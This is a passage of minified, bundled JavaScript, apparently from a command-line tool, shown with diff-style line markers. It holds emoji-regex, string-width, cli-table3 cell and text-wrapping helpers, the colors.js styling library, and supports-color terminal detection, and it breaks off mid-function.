3\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D(?:\uD83D[\uDC68\uDC69])|\uD83D[\uDC68\uDC69])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD]))|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D\uD83D\uDC69)(?:\uD83C[\uDFFB-\uDFFD])|\uD83D\uDC69\u200D\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D\uDC41\uFE0F\u200D\uD83D\uDDE8|\uD83D\uDC69(?:\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708]|\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708])|(?:(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)\uFE0F|\uD83D\uDC6F|\uD83E[\uDD3C\uDDDE\uDDDF])\u200D[\u2640\u2642]|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|\u200D[\u2640\u2642])|\uD83C\uDFF4\u200D\u2620)\uFE0F|\uD83D\uDC69\u200D\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C\uDFF3\uFE0F\u200D\uD83C\uDF08|\uD83D\uDC15\u200D\uD83E\uDDBA|\uD83D\uDC69\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC67|\uD83C\uDDFD\uD83C\uDDF0|\uD83C\uDDF4\uD83C\uDDF2|\uD83C\uDDF6\uD83C\uDDE6|[#\*0-9]\uFE0F\u20E3|\uD83C\uDDE7(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF])|\uD83C\uDDF9(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF])|\uD83C\uDDEA(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA])|\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF7(?:\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC])|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDF2(?:\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF])|\uD83C\uDDE6(?:\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF])|\uD83C\uDDF0(?:\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF])|\uD83C\uDDED(?:\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA])|\uD83C\uDDE9(?:\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF])|\uD83C\uDDFE(?:\uD83C[\uDDEA\uDDF9])|\uD83C\uDDEC(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE])|\uD83C\uDDF8(?:\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF])|\uD83C\uDDEB(?:\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7])|\uD83C\uDDF5(?:\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE])|\uD83C\uDDFB(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA])|\uD83C\uDDF3(?:\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF])|\uD83C\uDDE8(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF])|\uD83C\uDDF1(?:\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE])|\uD83C\uDDFF(?:\uD83C[\uDDE6\uDDF2\uDDFC])|\uD83C\uDDFC(?:\uD83C[\uDDEB\uDDF8])|\uD83C\uDDFA(?:\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF])|\uD83C\uDDEE(?:\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9])|\uD83C\uDDEF(?:\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5])|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u270A-\u270D]|\uD83C[\uDF85\uDFC2\uDFC7]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC70\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDCAA\uDD74\uDD7A\uDD90\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1C\uDD1E\uDD1F\uDD30-\uDD36\uDDB5\uDDB6\uDDBB\uDDD2-\uDDD5])(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u231A\u231B\u23E9-\u23EC\u23F0\u23F3\u25FD\u25FE\u2614\u2615\u2648-\u2653\u267F\u2693\u26A1\u26AA\u26AB\u26BD\u26BE\u26C4\u26C5\u26CE\u26D4\u26EA\u26F2\u26F3\u26F5\u26FA\u26FD\u2705\u270A\u270B\u2728\u274C\u274E\u2753-\u2755\u2757\u2795-\u2797\u27B0\u27BF\u2B1B\u2B1C\u2B50\u2B55]|\uD83C[\uDC04\uDCCF\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF93\uDFA0-\uDFCA\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF4\uDFF8-\uDFFF]|\uD83D[\uDC00-\uDC3E\uDC40\uDC42-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDD7A\uDD95\uDD96\uDDA4\uDDFB-\uDE4F\uDE80-\uDEC5\uDECC\uDED0-\uDED2\uDED5\uDEEB\uDEEC\uDEF4-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])|(?:[#\*0-9\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692-\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753-\u2755\u2757\u2763\u2764\u2795-\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]|\uD83C[\uDC04\uDCCF\uDD70\uDD71\uDD7E\uDD7F\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE02\uDE1A\uDE2F\uDE32-\uDE3A\uDE50\uDE51\uDF00-\uDF21\uDF24-\uDF93\uDF96\uDF97\uDF99-\uDF9B\uDF9E-\uDFF0\uDFF3-\uDFF5\uDFF7-\uDFFF]|\uD83D[\uDC00-\uDCFD\uDCFF-\uDD3D\uDD49-\uDD4E\uDD50-\uDD67\uDD6F\uDD70\uDD73-\uDD7A\uDD87\uDD8A-\uDD8D\uDD90\uDD95\uDD96\uDDA4\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA-\uDE4F\uDE80-\uDEC5\uDECB-\uDED2\uDED5\uDEE0-\uDEE5\uDEE9\uDEEB\uDEEC\uDEF0\uDEF3-\uDEFA\uDFE0-\uDFEB]|\uD83E[\uDD0D-\uDD3A\uDD3C-\uDD45\uDD47-\uDD71\uDD73-\uDD76\uDD7A-\uDDA2\uDDA5-\uDDAA\uDDAE-\uDDCA\uDDCD-\uDDFF\uDE70-\uDE73\uDE78-\uDE7A\uDE80-\uDE82\uDE90-\uDE95])\uFE0F|(?:[\u261D\u26F9\u270A-\u270D]|\uD83C[\uDF85\uDFC2-\uDFC4\uDFC7\uDFCA-\uDFCC]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66-\uDC78\uDC7C\uDC81-\uDC83\uDC85-\uDC87\uDC8F\uDC91\uDCAA\uDD74\uDD75\uDD7A\uDD90\uDD95\uDD96\uDE45-\uDE47\uDE4B-\uDE4F\uDEA3\uDEB4-\uDEB6\uDEC0\uDECC]|\uD83E[\uDD0F\uDD18-\uDD1F\uDD26\uDD30-\uDD39\uDD3C-\uDD3E\uDDB5\uDDB6\uDDB8\uDDB9\uDDBB\uDDCD-\uDDCF\uDDD1-\uDDDD])/g}});var vr=O((Ka,Bt)=>{"use strict";var ho=Fr(),mo=Sr(),Do=Ar(),Or=r=>{if(typeof r!="string"||r.length===0||(r=ho(r),r.length===0))return 0;r=r.replace(Do()," ");let e=0;for(let t=0;t<r.length;t++){let n=r.codePointAt(t);n<=31||n>=127&&n<=159||n>=768&&n<=879||(n>65535&&t++,e+=mo(n)?2:1)}return e};Bt.exports=Or;Bt.exports.default=Or});var St=O((qa,Lr)=>{"use strict";var kr=vr();function Xe(r){return r?/\u001b\[((?:\d*;){0,5}\d*)m/g:/\u001b\[(?:\d*;){0,5}\d*m/g}function Y(r){let e=Xe();return(""+r).replace(e,"").split(`
3
3
  `).reduce(function(i,o){return kr(o)>i?kr(o):i},0)}function Re(r,e){return Array(e+1).join(r)}function go(r,e,t,n){let i=Y(r);if(e+1>=i){let o=e-i;switch(n){case"right":{r=Re(t,o)+r;break}case"center":{let s=Math.ceil(o/2),a=o-s;r=Re(t,a)+r+Re(t,s);break}default:{r=r+Re(t,o);break}}}return r}var de={};function Te(r,e,t){e="\x1B["+e+"m",t="\x1B["+t+"m",de[e]={set:r,to:!0},de[t]={set:r,to:!1},de[r]={on:e,off:t}}Te("bold",1,22);Te("italics",3,23);Te("underline",4,24);Te("inverse",7,27);Te("strikethrough",9,29);function Rr(r,e){let t=e[1]?parseInt(e[1].split(";")[0]):0;if(t>=30&&t<=39||t>=90&&t<=97){r.lastForegroundAdded=e[0];return}if(t>=40&&t<=49||t>=100&&t<=107){r.lastBackgroundAdded=e[0];return}if(t===0){for(let i in r)Object.prototype.hasOwnProperty.call(r,i)&&delete r[i];return}let n=de[e[0]];n&&(r[n.set]=n.to)}function yo(r){let e=Xe(!0),t=e.exec(r),n={};for(;t!==null;)Rr(n,t),t=e.exec(r);return n}function Tr(r,e){let t=r.lastBackgroundAdded,n=r.lastForegroundAdded;return delete r.lastBackgroundAdded,delete r.lastForegroundAdded,Object.keys(r).forEach(function(i){r[i]&&(e+=de[i].off)}),t&&t!="\x1B[49m"&&(e+="\x1B[49m"),n&&n!="\x1B[39m"&&(e+="\x1B[39m"),e}function Co(r,e){let t=r.lastBackgroundAdded,n=r.lastForegroundAdded;return delete r.lastBackgroundAdded,delete r.lastForegroundAdded,Object.keys(r).forEach(function(i){r[i]&&(e=de[i].on+e)}),t&&t!="\x1B[49m"&&(e=t+e),n&&n!="\x1B[39m"&&(e=n+e),e}function Eo(r,e){if(r.length===Y(r))return r.substr(0,e);for(;Y(r)>e;)r=r.slice(0,-1);return r}function bo(r,e){let t=Xe(!0),n=r.split(Xe()),i=0,o=0,s="",a,u={};for(;o<e;){a=t.exec(r);let c=n[i];if(i++,o+Y(c)>e&&(c=Eo(c,e-o)),s+=c,o+=Y(c),o<e){if(!a)break;s+=a[0],Rr(u,a)}}return Tr(u,s)}function wo(r,e,t){if(t=t||"\u2026",Y(r)<=e)return r;e-=Y(t);let i=bo(r,e);i+=t;let o="\x1B]8;;\x07";return r.includes(o)&&!i.includes(o)&&(i+=o),i}function _o(){return{chars:{top:"\u2500","top-mid":"\u252C","top-left":"\u250C","top-right":"\u2510",bottom:"\u2500","bottom-mid":"\u2534","bottom-left":"\u2514","bottom-right":"\u2518",left:"\u2502","left-mid":"\u251C",mid:"\u2500","mid-mid":"\u253C",right:"\u2502","right-mid":"\u2524",middle:"\u2502"},truncate:"\u2026",colWidths:[],rowHeights:[],colAligns:[],rowAligns:[],style:{"padding-left":1,"padding-right":1,head:["red"],border:["grey"],compact:!1},head:[]}}function Fo(r,e){r=r||{},e=e||_o();let t=Object.assign({},e,r);return t.chars=Object.assign({},e.chars,r.chars),t.style=Object.assign({},e.style,r.style),t}function Bo(r,e){let t=[],n=e.split(/(\s+)/g),i=[],o=0,s;for(let a=0;a<n.length;a+=2){let u=n[a],c=o+Y(u);o>0&&s&&(c+=s.length),c>r?(o!==0&&t.push(i.join("")),i=[u],o=Y(u)):(i.push(s||"",u),o=c),s=n[a+1]}return o&&t.push(i.join("")),t}function So(r,e){let t=[],n="";function i(s,a){for(n.length&&a&&(n+=a),n+=s;n.length>r;)t.push(n.slice(0,r)),n=n.slice(r)}let o=e.split(/(\s+)/g);for(let s=0;s<o.length;s+=2)i(o[s],s&&o[s-1]);return n.length&&t.push(n),t}function xo(r,e,t=!0){let n=[];e=e.split(`
4
- `);let i=t?Bo:So;for(let o=0;o<e.length;o++)n.push.apply(n,i(r,e[o]));return n}function Ao(r){let e={},t=[];for(let n=0;n<r.length;n++){let i=Co(e,r[n]);e=yo(i);let o=Object.assign({},e);t.push(Tr(o,i))}return t}function Oo(r,e){return["\x1B]","8",";",";",r||e,"\x07",e,"\x1B]","8",";",";","\x07"].join("")}Lr.exports={strlen:Y,repeat:Re,pad:go,truncate:wo,mergeOptions:Fo,wordWrap:xo,colorizeLines:Ao,hyperlink:Oo}});var Nr=O((za,Ir)=>{"use strict";var $r={};Ir.exports=$r;var Pr={reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],inverse:[7,27],hidden:[8,28],strikethrough:[9,29],black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],gray:[90,39],grey:[90,39],brightRed:[91,39],brightGreen:[92,39],brightYellow:[93,39],brightBlue:[94,39],brightMagenta:[95,39],brightCyan:[96,39],brightWhite:[97,39],bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgGray:[100,49],bgGrey:[100,49],bgBrightRed:[101,49],bgBrightGreen:[102,49],bgBrightYellow:[103,49],bgBrightBlue:[104,49],bgBrightMagenta:[105,49],bgBrightCyan:[106,49],bgBrightWhite:[107,49],blackBG:[40,49],redBG:[41,49],greenBG:[42,49],yellowBG:[43,49],blueBG:[44,49],magentaBG:[45,49],cyanBG:[46,49],whiteBG:[47,49]};Object.keys(Pr).forEach(function(r){var e=Pr[r],t=$r[r]=[];t.open="\x1B["+e[0]+"m",t.close="\x1B["+e[1]+"m"})});var Wr=O((Ya,Mr)=>{"use strict";Mr.exports=function(r,e){e=e||process.argv;var t=e.indexOf("--"),n=/^-{1,2}/.test(r)?"":"--",i=e.indexOf(n+r);return i!==-1&&(t===-1?!0:i<t)}});var Hr=O((Ja,jr)=>{"use strict";var vo=nr("os"),K=Wr(),W=process.env,pe=void 0;K("no-color")||K("no-colors")||K("color=false")?pe=!1:(K("color")||K("colors")||K("color=true")||K("color=always"))&&(pe=!0);"FORCE_COLOR"in W&&(pe=W.FORCE_COLOR.length===0||parseInt(W.FORCE_COLOR,10)!==0);function ko(r){return r===0?!1:{level:r,hasBasic:!0,has256:r>=2,has16m:r>=3}}function Ro(r){if(pe===!1)return 0;if(K("color=16m")||K("color=full")||K("color=truecolor"))return 3;if(K("color=256"))return 2;if(r&&!r.isTTY&&pe!==!0)return 0;var e=pe?1:0;if(process.platform==="win32"){var t=vo.release().split(".");return Number(process.versions.node.split(".")[0])>=8&&Number(t[0])>=10&&Number(t[2])>=10586?Number(t[2])>=14931?3:2:1}if("CI"in W)return["TRAVIS","CIRCLECI","APPVEYOR","GITLAB_CI"].some(function(i){return i in W})||W.CI_NAME==="codeship"?1:e;if("TEAMCITY_VERSION"in W)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(W.TEAMCITY_VERSION)?1:0;if("TERM_PROGRAM"in W){var n=parseInt((W.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(W.TERM_PROGRAM){case"iTerm.app":return n>=3?3:2;case"Hyper":return 3;case"Apple_Terminal":return 2}}return/-256(color)?$/i.test(W.TERM)?2:/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(W.TERM)||"COLORTERM"in W?1:(W.TERM==="dumb",e)}function xt(r){var e=Ro(r);return ko(e)}jr.exports={supportsColor:xt,stdout:xt(process.stdout),stderr:xt(process.stderr)}});var Gr=O((Xa,Vr)=>{"use strict";Vr.exports=function(e,t){var n="";e=e||"Run the trap, drop the bass",e=e.split("");var i={a:["@","\u0104","\u023A","\u0245","\u0394","\u039B","\u0414"],b:["\xDF","\u0181","\u0243","\u026E","\u03B2","\u0E3F"],c:["\xA9","\u023B","\u03FE"],d:["\xD0","\u018A","\u0500","\u0501","\u0502","\u0503"],e:["\xCB","\u0115","\u018E","\u0258","\u03A3","\u03BE","\u04BC","\u0A6C"],f:["\u04FA"],g:["\u0262"],h:["\u0126","\u0195","\u04A2","\u04BA","\u04C7","\u050A"],i:["\u0F0F"],j:["\u0134"],k:["\u0138","\u04A0","\u04C3","\u051E"],l:["\u0139"],m:["\u028D","\u04CD","\u04CE","\u0520","\u0521","\u0D69"],n:["\xD1","\u014B","\u019D","\u0376","\u03A0","\u048A"],o:["\xD8","\xF5","\xF8","\u01FE","\u0298","\u047A","\u05DD","\u06DD","\u0E4F"],p:["\u01F7","\u048E"],q:["\u09CD"],r:["\xAE","\u01A6","\u0210","\u024C","\u0280","\u042F"],s:["\xA7","\u03DE","\u03DF","\u03E8"],t:["\u0141","\u0166","\u0373"],u:["\u01B1","\u054D"],v:["\u05D8"],w:["\u0428","\u0460","\u047C","\u0D70"],x:["\u04B2","\u04FE","\u04FC","\u04FD"],y:["\xA5","\u04B0","\u04CB"],z:["\u01B5","\u0240"]};return e.forEach(function(o){o=o.toLowerCase();var s=i[o]||[" "],a=Math.floor(Math.random()*s.length);typeof i[o]<"u"?n+=i[o][a]:n+=o}),n}});var Kr=O((Qa,Ur)=>{"use strict";Ur.exports=function(e,t){e=e||" he is here ";var n={up:["\u030D","\u030E","\u0304","\u0305","\u033F","\u0311","\u0306","\u0310","\u0352","\u0357","\u0351","\u0307","\u0308","\u030A","\u0342","\u0313","\u0308","\u034A","\u034B","\u034C","\u0303","\u0302","\u030C","\u0350","\u0300","\u0301","\u030B","\u030F","\u0312","\u0313","\u0314","\u033D","\u0309","\u0363","\u0364","\u0365","\u0366","\u0367","\u0368","\u0369","\u036A","\u036B","\u036C","\u036D","\u036E","\u036F","\u033E","\u035B","\u0346","\u031A"],down:["\u0316","\u0317","\u0318","\u0319","\u031C","\u031D","\u031E","\u031F","\u0320","\u0324","\u0325","\u0326","\u0329","\u032A","\u032B","\u032C","\u032D","\u032E","\u032F","\u0330","\u0331","\u0332","\u0333","\u0339","\u033A","\u033B","\u033C","\u0345","\u0347","\u0348","\u0349","\u034D","\u034E","\u0353","\u0354","\u0355","\u0356","\u0359","\u035A","\u0323"],mid:["\u0315","\u031B","\u0300","\u0301","\u0358","\u0321","\u0322","\u0327","\u0328","\u0334","\u0335","\u0336","\u035C","\u035D","\u035E","\u035F","\u0360","\u0362","\u0338","\u0337","\u0361"," \u0489"]},i=[].concat(n.up,n.down,n.mid);function o(u){var c=Math.floor(Math.random()*u);return c}function s(u){var c=!1;return i.filter(function(l){c=l===u}),c}function a(u,c){var l="",f,d;c=c||{},c.up=typeof c.up<"u"?c.up:!0,c.mid=typeof c.mid<"u"?c.mid:!0,c.down=typeof c.down<"u"?c.down:!0,c.size=typeof c.size<"u"?c.size:"maxi",u=u.split("");for(d in u)if(!s(d)){switch(l=l+u[d],f={up:0,down:0,mid:0},c.size){case"mini":f.up=o(8),f.mid=o(2),f.down=o(8);break;case"maxi":f.up=o(16)+3,f.mid=o(4)+1,f.down=o(64)+3;break;default:f.up=o(8)+1,f.mid=o(6)/2,f.down=o(8)+1;break}var m=["up","mid","down"];for(var p in m)for(var h=m[p],g=0;g<=f[h];g++)c[h]&&(l=l+n[h][o(n[h].length)])}return l}return a(e,t)}});var zr=O((Za,qr)=>{"use strict";qr.exports=function(r){return function(e,t,n){if(e===" ")return e;switch(t%3){case 0:return r.red(e);case 1:return r.white(e);case 2:return r.blue(e)}}}});var Jr=O((el,Yr)=>{"use strict";Yr.exports=function(r){return function(e,t,n){return t%2===0?e:r.inverse(e)}}});var Qr=O((tl,Xr)=>{"use strict";Xr.exports=function(r){var e=["red","yellow","green","blue","magenta"];return function(t,n,i){return t===" "?t:r[e[n++%e.length]](t)}}});var en=O((rl,Zr)=>{"use strict";Zr.exports=function(r){var e=["underline","inverse","grey","yellow","red","green","blue","white","cyan","magenta","brightYellow","brightRed","brightGreen","brightBlue","brightWhite","brightCyan","brightMagenta"];return function(t,n,i){return t===" "?t:r[e[Math.round(Math.random()*(e.length-2))]](t)}}});var un=O((il,sn)=>{"use strict";var E={};sn.exports=E;E.themes={};var To=nr("util"),ue=E.styles=Nr(),rn=Object.defineProperties,Lo=new RegExp(/[\r\n]+/g);E.supportsColor=Hr().supportsColor;typeof E.enabled>"u"&&(E.enabled=E.supportsColor()!==!1);E.enable=function(){E.enabled=!0};E.disable=function(){E.enabled=!1};E.stripColors=E.strip=function(r){return(""+r).replace(/\x1B\[\d+m/g,"")};var nl=E.stylize=function(e,t){if(!E.enabled)return e+"";var n=ue[t];return!n&&t in E?E[t](e):n.open+e+n.close},Po=/[|\\{}()[\]^$+*?.]/g,$o=function(r){if(typeof r!="string")throw new TypeError("Expected a string");return r.replace(Po,"\\$&")};function nn(r){var e=function t(){return No.apply(t,arguments)};return e._styles=r,e.__proto__=Io,e}var on=(function(){var r={};return ue.grey=ue.gray,Object.keys(ue).forEach(function(e){ue[e].closeRe=new RegExp($o(ue[e].close),"g"),r[e]={get:function(){return nn(this._styles.concat(e))}}}),r})(),Io=rn(function(){},on);function No(){var r=Array.prototype.slice.call(arguments),e=r.map(function(s){return s!=null&&s.constructor===String?s:To.inspect(s)}).join(" ");if(!E.enabled||!e)return e;for(var t=e.indexOf(`
5
- `)!=-1,n=this._styles,i=n.length;i--;){var o=ue[n[i]];e=o.open+e.replace(o.closeRe,o.open)+o.close,t&&(e=e.replace(Lo,function(s){return o.close+s+o.open}))}return e}E.setTheme=function(r){if(typeof r=="string"){console.log("colors.setTheme now only accepts an object, not a string. If you are trying to set a theme from a file, it is now your (the caller's) responsibility to require the file. The old syntax looked like colors.setTheme(__dirname + '/../themes/generic-logging.js'); The new syntax looks like colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));");return}for(var e in r)(function(t){E[t]=function(n){if(typeof r[t]=="object"){var i=n;for(var o in r[t])i=E[r[t][o]](i);return i}return E[r[t]](n)}})(e)};function Mo(){var r={};return Object.keys(on).forEach(function(e){r[e]={get:function(){return nn([e])}}}),r}var Wo=function(e,t){var n=t.split("");return n=n.map(e),n.join("")};E.trap=Gr();E.zalgo=Kr();E.maps={};E.maps.america=zr()(E);E.maps.zebra=Jr()(E);E.maps.rainbow=Qr()(E);E.maps.random=en()(E);for(tn in E.maps)(function(r){E[r]=function(e){return Wo(E.maps[r],e)}})(tn);var tn;rn(E,Mo())});var ln=O((ol,an)=>{"use strict";var jo=un();an.exports=jo});var pn=O((sl,Qe)=>{"use strict";var{info:Ho,debug:dn}=Je(),V=St(),Ot=class r{constructor(e){this.setOptions(e),this.x=null,this.y=null}setOptions(e){["boolean","number","bigint","string"].indexOf(typeof e)!==-1&&(e={content:""+e}),e=e||{},this.options=e;let t=e.content;if(["boolean","number","bigint","string"].indexOf(typeof t)!==-1)this.content=String(t);else if(!t)this.content=this.options.href||"";else throw new Error("Content needs to be a primitive, got: "+typeof t);this.colSpan=e.colSpan||1,this.rowSpan=e.rowSpan||1,this.options.href&&Object.defineProperty(this,"href",{get(){return this.options.href}})}mergeTableOptions(e,t){this.cells=t;let n=this.options.chars||{},i=e.chars,o=this.chars={};Go.forEach(function(u){At(n,i,u,o)}),this.truncate=this.options.truncate||e.truncate;let s=this.options.style=this.options.style||{},a=e.style;At(s,a,"padding-left",this),At(s,a,"padding-right",this),this.head=s.head||a.head,this.border=s.border||a.border,this.fixedWidth=e.colWidths[this.x],this.lines=this.computeLines(e),this.desiredWidth=V.strlen(this.content)+this.paddingLeft+this.paddingRight,this.desiredHeight=this.lines.length}computeLines(e){let t=e.wordWrap||e.textWrap,{wordWrap:n=t}=this.options;if(this.fixedWidth&&n){if(this.fixedWidth-=this.paddingLeft+this.paddingRight,this.colSpan){let s=1;for(;s<this.colSpan;)this.fixedWidth+=e.colWidths[this.x+s],s++}let{wrapOnWordBoundary:i=!0}=e,{wrapOnWordBoundary:o=i}=this.options;return this.wrapLines(V.wordWrap(this.fixedWidth,this.content,o))}return this.wrapLines(this.content.split(`
6
